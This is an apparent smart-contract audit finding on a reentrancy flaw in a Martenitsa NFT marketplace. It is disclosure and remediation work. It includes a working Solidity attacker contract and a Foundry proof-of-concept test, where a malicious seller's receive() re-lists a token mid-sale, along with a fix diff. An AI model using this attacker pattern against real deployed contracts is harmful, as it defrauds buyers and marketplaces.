Reentrancy in MartenitsaMarketplace::buyMartenitsa,malicious producer can retain the listing after selling the martenitsa.

Severity

High Risk

Relevant GitHub Links

https://github.com/Cyfrin/2024-04-Baba-Marta/blob/5eaab7b51774d1083b926bf5ef116732c5a35cfd/src/MartenitsaMarketplace.sol#L82

Summary

MartenitsaMarketplace::buyMartenitsa is vulnerable to reentrancy. A malicious Producer can exploit this vulnerability to retain the listing after selling the martenitsa.

Vulnerability Details

When a buyer initiates a purchase by calling the MartenitsaMarketplace::buyMartenitsa function to acquire a token, the funds are transferred to the seller using the command (bool sent, ) = seller.call{value: salePrice}("");. This function sends the payment before transferring ownership of the token, which happens later in the process.

This sequence allows for a potential security issue if the seller is a malicious contract. Specifically, the malicious seller could immediately re-list the same martenitsa for sale by calling the MartenitsaMarketplace::listMartenitsaForSale function. Since the token ownership transfer to the buyer occurs after the funds have been sent, the seller technically still owns the token at the time they attempt to re-list it.

This is problematic because the re-listing function includes a security check, require(msg.sender == martenitsaToken.ownerOf(tokenId), "You do not own this token"), designed to confirm that the seller actually owns the token. However, since the token transfer has not yet occurred, the check will pass, allowing the malicious seller to list the token again even though they are in the process of selling it to the buyer.

function buyMartenitsa(uint256 tokenId) external payable {
    Listing memory listing = tokenIdToListing[tokenId];
    require(listing.forSale, "Token is not listed for sale");
    require(msg.value >= listing.price, "Insufficient funds");

    address seller = listing.seller;
    address buyer = msg.sender;
    uint256 salePrice = listing.price;

    martenitsaToken.updateCountMartenitsaTokensOwner(buyer, "add");
    martenitsaToken.updateCountMartenitsaTokensOwner(seller, "sub");

    // Clear the listing
    delete tokenIdToListing[tokenId];

    emit MartenitsaSold(tokenId, buyer, salePrice);

    // Transfer funds to seller
@>  (bool sent, ) = seller.call{value: salePrice}("");
    require(sent, "Failed to send Ether");

    // Transfer the token to the buyer
    martenitsaToken.safeTransferFrom(seller, buyer, tokenId);
}

Steps for the attack:

1. The attacker creates a malicious contract that implements the IERC721Receiver interface and the receive function.

2. The attacker creates a martenitsa token and lists it for sale.

3. When the buyer calls the MartenitsaMarketplace::buyMartenitsa function, the attacker's contract is called, which in turn calls the MartenitsaMarketplace::listMartenitsaForSale function to re-list the martenitsa token.

4. The attacker retains the listing after selling the martenitsa token.

interface IMartenitsaMarketplace {
    function listMartenitsaForSale(uint256 tokenId, uint256 price) external;
    function buyMartenitsa(uint256 tokenId) external payable;
    function makePresent(address to, uint256 tokenId) external;
    function martenitsaToken() external view returns (address);
}

interface IMartenitsaToken {
    function createMartenitsa(string memory design) external;
    function approve(address to, uint256 tokenId) external;
    function ownerOf(uint256 tokenId) external view returns (address);
    function getCountMartenitsaTokensOwner(
        address owner
    ) external view returns (uint256);
}

contract ReentrancyAttackPOC is IERC721Receiver {
    IMartenitsaMarketplace public marketplace;

    constructor(address _marketplace) {
        marketplace = IMartenitsaMarketplace(_marketplace);
    }

    function createMartenitsa() public {
        IMartenitsaToken(marketplace.martenitsaToken()).createMartenitsa(
            "bracelet"
        );
    }

    function listMartenitsaForSale(uint256 tokenId, uint256 price) public {
        IMartenitsaToken(marketplace.martenitsaToken()).approve(
            address(marketplace),
            tokenId
        );
        marketplace.listMartenitsaForSale(tokenId, price);
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external pure returns (bytes4) {
        return this.onERC721Received.selector;
    }

    receive() external payable {
        listMartenitsaForSale(0, 1 wei);
    }
}

 function testPOC() public {
        ReentrancyAttackPOC attack = new ReentrancyAttackPOC(
            address(marketplace)
        );
        address[] memory _producers = new address[](1);
        _producers[0] = address(attack);

        address buyer = makeAddr("buyer");

        martenitsaToken.setProducers(_producers);

        attack.createMartenitsa();
        attack.listMartenitsaForSale(0, 1 wei);

        vm.deal(buyer, 1 wei);

        vm.prank(buyer);
        marketplace.buyMartenitsa{value: 1 wei}(0);

        list = marketplace.getListing(0);

        assertEq(list.forSale, true);
    }

Ran 1 test for test/MartenitsaMarketplace.t.sol:MartenitsaMarketplace
[PASS] testPOC() (gas: 725850)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.19ms (660.92µs CPU time)

Impact

A malicious Producer can exploit this vulnerability to retain the listing after selling the martenitsa and also the attacker can still get votes on the listing even after selling the martenitsa.

Tools Used

Foundry and Manual review.

Recommendations

Transfer the token to the buyer before sending the funds to the seller to prevent reentrancy attacks.

 function buyMartenitsa(uint256 tokenId) external payable {
    Listing memory listing = tokenIdToListing[tokenId];
    require(listing.forSale, "Token is not listed for sale");
    require(msg.value >= listing.price, "Insufficient funds");

    address seller = listing.seller;
    address buyer = msg.sender;
    uint256 salePrice = listing.price;

    martenitsaToken.updateCountMartenitsaTokensOwner(buyer, "add");
    martenitsaToken.updateCountMartenitsaTokensOwner(seller, "sub");

    // Clear the listing
    delete tokenIdToListing[tokenId];

    emit MartenitsaSold(tokenId, buyer, salePrice);

    // Transfer the token to the buyer
+   martenitsaToken.safeTransferFrom(seller, buyer, tokenId);

    // Transfer funds to seller
    (bool sent, ) = seller.call{value: salePrice}("");
    require(sent, "Failed to send Ether");

-    martenitsaToken.safeTransferFrom(seller, buyer, tokenId);
}

run forge test --mt testPOC and the result should FAIL:

Failing tests:
Encountered 1 failing test in test/MartenitsaMarketplace.t.sol:MartenitsaMarketplace
[FAIL. Reason: revert: Failed to send Ether] testPOC() (gas: 680204)